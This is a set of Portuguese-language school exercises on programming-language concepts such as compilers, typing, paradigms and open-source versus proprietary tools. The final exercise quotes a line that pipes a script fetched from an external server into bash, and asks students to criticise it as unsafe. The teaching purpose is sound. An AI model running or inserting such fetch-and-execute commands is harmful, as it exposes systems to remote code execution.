Exercícios: Linguagens de programação
Explique com suas palavras o que é um programa e o que é um algoritmo, e dê um exemplo de «algoritmo» da vida diária (uma receita, as instruções para chegar à sua…
Explique com suas palavras o que é um programa e o que é um algoritmo, e dê um exemplo de «algoritmo» da vida diária (uma receita, as instruções para chegar à sua casa...) identificando seus passos.
Uma linguagem natural (como o português) admite frases ambíguas, mas uma linguagem de programação não. Explique o que isso significa e por que é imprescindível que as…
Uma linguagem natural (como o português) admite frases ambíguas, mas uma linguagem de programação não. Explique o que isso significa e por que é imprescindível que as instruções de um programa tenham uma única interpretação possível.
A figura mostra a cadeia que converte o que uma pessoa programadora escreve em algo que o computador pode executar, mas o elemento central está coberto por um ponto de…
A figura mostra a cadeia que converte o que uma pessoa programadora escreve em algo que o computador pode executar, mas o elemento central está coberto por um ponto de interrogação, como mostra a figura.
Indique qual elemento falta na cadeia, explique quais dois tipos de ferramentas podem ocupar esse lugar (compilador e interpretador) e descreva em que cada uma se diferencia.
Explique o que é a sintaxe de uma linguagem de programação e por que um simples parêntese a menos impede a execução do programa, enquanto em um texto em português um…
Explique o que é a sintaxe de uma linguagem de programação e por que um simples parêntese a menos impede a execução do programa, enquanto em um texto em português um erro de ortografia não impede a compreensão.
O que é um ambiente de desenvolvimento (IDE)? Cite duas ajudas que ele oferece a quem programa (coloração de sintaxe, detecção de erros durante a digitação, execução…
O que é um ambiente de desenvolvimento (IDE)? Cite duas ajudas que ele oferece a quem programa (coloração de sintaxe, detecção de erros durante a digitação, execução integrada) e explique cada uma em uma frase.
Compare programar com blocos (como o Scratch) e programar com texto: dê uma vantagem de cada abordagem para aprender e um motivo pelo qual os projetos grandes acabam…
Compare programar com blocos (como o Scratch) e programar com texto: dê uma vantagem de cada abordagem para aprender e um motivo pelo qual os projetos grandes acabam sendo escritos em texto.
Explique o que é o código-fonte de um programa, quem o escreve e o que precisa acontecer com ele antes que o computador possa executá-lo (traduzi-lo para linguagem de…
Explique o que é o código-fonte de um programa, quem o escreve e o que precisa acontecer com ele antes que o computador possa executá-lo (traduzi-lo para linguagem de máquina).
Cite três linguagens de programação diferentes e uma aplicação ou área típica de cada uma (páginas web, análise de dados, jogos, sistemas, apps...).
Cite três linguagens de programação diferentes e uma aplicação ou área típica de cada uma (páginas web, análise de dados, jogos, sistemas, apps...).
Explique a diferença entre uma linguagem compilada e uma interpretada: o que acontece com o código-fonte em cada caso, quando os erros são detectados e o que o usuário…
Explique a diferença entre uma linguagem compilada e uma interpretada: o que acontece com o código-fonte em cada caso, quando os erros são detectados e o que o usuário final precisa para executar o programa. Dê um exemplo de linguagem de cada tipo.
As linguagens também se agrupam por paradigmas (imperativo, orientado a objetos, funcional...). Explique brevemente em que consiste a programação orientada a objetos e…
As linguagens também se agrupam por paradigmas (imperativo, orientado a objetos, funcional...). Explique brevemente em que consiste a programação orientada a objetos e justifique por que ela é útil quando um programa modela coisas do mundo real (alunos, contas, veículos...).
Sua turma deve escolher uma linguagem para desenvolver um pequeno aplicativo de gestão do clube de leitura. Cite e explique três características da linguagem que você…
Sua turma deve escolher uma linguagem para desenvolver um pequeno aplicativo de gestão do clube de leitura. Cite e explique três características da linguagem que você avaliaria antes de decidir (facilidade de aprendizagem, bibliotecas disponíveis, comunidade, desempenho, plataforma de destino...) e justifique qual priorizaria neste caso concreto.
Com uma linguagem compilada gera-se um executável; com uma interpretada é necessário ter o interpretador instalado. Analise que diferença há para o usuário final de cada…
Com uma linguagem compilada gera-se um executável; com uma interpretada é necessário ter o interpretador instalado. Analise que diferença há para o usuário final de cada programa (o que deve instalar, em que sistemas funcionará) e que diferença há para a pessoa que desenvolve (ciclo de escrever e testar).
As bibliotecas são coleções de código já pronto que um programa pode usar. Explique por que «não reinventar a roda» é uma boa prática, com um exemplo (biblioteca de…
As bibliotecas são coleções de código já pronto que um programa pode usar. Explique por que «não reinventar a roda» é uma boa prática, com um exemplo (biblioteca de gráficos, de conexão a bancos de dados), e um cuidado que se deve ter ao usar bibliotecas de terceiros.
Em algumas linguagens, somar um número com um texto produz um erro antes de executar o programa; em outras, o erro aparece apenas se essa linha for executada. Explique o…
Em algumas linguagens, somar um número com um texto produz um erro antes de executar o programa; em outras, o erro aparece apenas se essa linha for executada. Explique o que é a tipagem de uma linguagem (estática ou dinâmica) e que vantagem há em detectar esses erros o quanto antes.
O HTML organiza o conteúdo das páginas web, mas não é considerado uma linguagem de programação completa. Explique que diferença há entre uma linguagem de marcação e uma…
O HTML organiza o conteúdo das páginas web, mas não é considerado uma linguagem de programação completa. Explique que diferença há entre uma linguagem de marcação e uma de programação (é possível expressar decisões e repetições?) e que linguagem costuma acompanhar o HTML para fornecer a lógica.
Escolha e justifique uma linguagem para cada projeto: (a) analisar as notas de toda a escola e gerar gráficos, (b) um jogo 3D com grandes exigências de desempenho e (c)…
Escolha e justifique uma linguagem para cada projeto: (a) analisar as notas de toda a escola e gerar gráficos, (b) um jogo 3D com grandes exigências de desempenho e (c) uma página web interativa executada no navegador. Indique qual critério pesou mais em cada escolha.
Implementa-se o algoritmo de busca binária para encontrar um valor em uma lista ordenada de 1 000 000 de inteiros em duas linguagens distintas: em Python leva 12,4 ms e…
Implementa-se o algoritmo de busca binária para encontrar um valor em uma lista ordenada de 1 000 000 de inteiros em duas linguagens distintas: em Python leva 12,4 ms e em C leva 0,8 ms. Um colega afirma: «Como em C leva menos tempo, a lógica do algoritmo mudou e agora realiza menos comparações do que em Python». Refute de forma fundamentada esta afirmação: a) Explique quais elementos do programa permanecem exatamente iguais em ambas as versões e quais mudam. b) Justifique a que se deve a diferença de tempo se o número de comparações lógicas é idêntico. c) A partir deste caso, argumente por que se diz que aprender a programar consiste em aprender a pensar e não em dominar uma linguagem concreta.
Uma linguagem de alto nível interpretada costuma ser mais cômoda de escrever, mas mais lenta na execução do que uma compilada de baixo nível. Analise esse compromisso e…
Uma linguagem de alto nível interpretada costuma ser mais cômoda de escrever, mas mais lenta na execução do que uma compilada de baixo nível. Analise esse compromisso e decida que tipo de linguagem você escolheria para: (a) o controle de um airbag, (b) um protótipo de app para testar uma ideia, (c) um jogo com gráficos exigentes. Justifique cada decisão.
Uma empresa emergente (startup) projeta um aplicativo para gerenciar estações meteorológicas. A equipe hesita entre duas opções técnicas para o seu backend: Opção A,…
Uma empresa emergente (startup) projeta um aplicativo para gerenciar estações meteorológicas. A equipe hesita entre duas opções técnicas para o seu backend: Opção A, utilizar uma plataforma e linguagem proprietárias cuja licença custa 450 reais por ano por desenvolvedor, com suporte técnico fechado; ou Opção B, utilizar uma linguagem e ferramentas de código aberto com licença livre e comunidade ativa. Analise a situação: a) Se o fornecedor da Opção A triplicar o preço da licença ou for absorvido por um concorrente que descontinue o produto, preveja que opções técnicas restariam à empresa e que impacto sofreria. b) Justifique duas vantagens técnicas e de segurança que a Opção B oferece em relação à Opção A diante da detecção de uma falha crítica em uma biblioteca. c) Em que caso concreto poderia estar justificado assumir a dependência da plataforma proprietária?
Uma instituição de ensino renova o equipamento de sua sala de Tecnologia e avalia duas opções para programar os microcontroladores de seus projetos: o Ambiente A, um…
Uma instituição de ensino renova o equipamento de sua sala de Tecnologia e avalia duas opções para programar os microcontroladores de seus projetos: o Ambiente A, um software comercial proprietário com licença gratuita durante dois anos, porém de código fechado e compatível apenas com os sensores de sua marca; e o Ambiente B, uma cadeia de ferramentas de código aberto (compilador livre e bibliotecas abertas) compatível com múltiplas placas do mercado. a) Preveja que consequências econômicas e técnicas a instituição enfrentará no terceiro ano se o fornecedor do Ambiente A mudar sua política de preços ou retirar o suporte aos modelos mais antigos. b) Justifique que possibilidades de aprendizagem e adaptação o Ambiente B oferece para que os estudantes estudem como o código funciona por dentro ou conectem sensores descontinuados. c) Do ponto de vista do gasto público e da soberania tecnológica, defenda qual das duas opções deve ser escolhida.
Para uma prática de controle domótico, um estudante precisa enviar alertas por e-mail diante de um vazamento de gás. Em vez de programá-lo, copia de um fórum da internet…
Para uma prática de controle domótico, um estudante precisa enviar alertas por e-mail diante de um vazamento de gás. Em vez de programá-lo, copia de um fórum da internet esta linha sem revisar seu conteúdo: os.system('curl -s https://servidor-externo.xyz/alerta.sh | bash'). O aluno afirma: «O código funciona e o alerta chega, portanto a solução é completamente válida e segura». a) Refute a afirmação do aluno analisando os riscos graves de segurança e injeção de código que essa linha introduz no sistema e na rede local. b) Se o servidor externo deixar de funcionar semanas mais tarde, preveja que dificuldades o aluno terá para manter o sistema se não compreendeu a lógica original. c) Projete um protocolo de quatro passos que um programador responsável deve seguir antes de integrar código ou bibliotecas de terceiros em um projeto técnico.